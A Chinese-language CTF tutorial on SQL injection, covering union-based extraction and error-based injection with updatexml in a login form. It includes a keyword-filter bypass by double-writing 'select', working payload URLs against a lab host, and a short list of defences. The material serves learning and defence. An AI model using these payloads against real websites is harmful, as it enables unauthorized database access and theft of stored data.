CTFer成长之路之CTF中的SQL注入
字数 1069 2025-08-11 17:40:29
CTF中的SQL注入技术详解
1. SQL注入基础概念
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而绕过安全限制,获取数据库中的敏感信息或执行未授权的数据库操作。
2. CTF中SQL注入常见类型
2.1 数字型注入
在第一个示例中,通过测试发现:
http://192.168.10.22/index.php?id=2-1
http://192.168.10.22/index.php?id=2
两者结果相同,说明不存在数字型注入,因为如果是数字型注入,2-1=1应该返回id=1的内容。
2.2 字符型注入
通过测试:
http://192.168.10.22/index.php?id=2'
http://192.168.10.22/index.php?id=2'%23
发现页面重新有显示内容,说明存在字符型注入。%23是URL编码的#,用于注释掉SQL语句的剩余部分。
3. SQL注入利用步骤详解
3.1 判断字段数
使用order by语句判断字段数:
http://192.168.10.22/index.php?id=2' order by 3%23 # 有回显
http://192.168.10.22/index.php?id=2' order by 4%23 # 无回显
说明该查询返回3个字段。
3.2 确定回显点
使用union select确定哪些字段会显示在页面上:
http://192.168.10.22/index.php?id=-2' union select 1,2,3%23
通常会将id设为负值或不存在值,确保原查询不返回结果,只显示union后的结果。
3.3 获取数据库信息
3.3.1 获取表名
http://192.168.10.22/index.php?id=-2' union select 1,2400,group_concat(table_name) from information_schema.tables where table_schema=database()%23
或
http://192.168.10.22/index.php?id=-2' union select 1,group_concat(table_name),2400 from information_schema.tables where table_schema=database()%23
group_concat()函数将多行结果合并为一个字符串。
3.3.2 获取列名
http://192.168.10.22/index.php?id=-2' union select 1,group_concat(column_name),2400 from information_schema.columns where table_schema=database() and table_name='fl4g'%23
3.3.3 获取数据
http://192.168.10.22/index.php?id=-2' union select 1,fllllag,2400 from fl4g%23
4. 特殊场景:登录框注入
第二个示例展示了登录框的SQL注入:
4.1 发现注入点
通过查看源代码发现提示,在URL中加入?tips=1显示报错信息:
http://192.168.10.22/login.php?tips=1
4.2 绕过过滤
发现直接使用select会被过滤,使用双写绕过:
name=1'and updatexml(1,concat(0x7e,(selselectect(1)from dual)),1)#&pass=1
selselectect中的select被过滤后剩下select。
4.3 报错注入技术
使用updatexml函数进行报错注入:
name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from information_schema.tables where table_schema=database())),1)#&pass=1
updatexml函数在解析错误的XML路径时会报错,并显示我们构造的内容。
4.4 获取数据
获取表名:
name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from information_schema.tables where table_schema=database())),1)#&pass=1
结果为fl4g,users
获取列名:
name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))from information_schema.columns where table_name='fl4g')),1)#&pass=1
结果为flag
获取flag:
name=1'and updatexml(1,concat(0x7e,(selselectect(flag)from fl4g)),1)#&pass=1
结果为n1book{login_sqli_is_nice}
5. 防御措施
- 使用参数化查询(Prepared Statements)
- 对输入进行严格的验证和过滤
- 使用最小权限原则,限制数据库用户权限
- 对错误信息进行适当处理,避免泄露敏感信息
- 使用Web应用防火墙(WAF)
6. 总结
本文通过两个CTF示例详细介绍了SQL注入的利用技术:
- 常规的联合查询注入(Union-based SQLi)
- 登录框的报错注入(Error-based SQLi)及过滤绕过技巧
掌握这些技术有助于在CTF比赛中解决SQL注入类题目,同时也帮助开发者更好地理解如何防御此类攻击。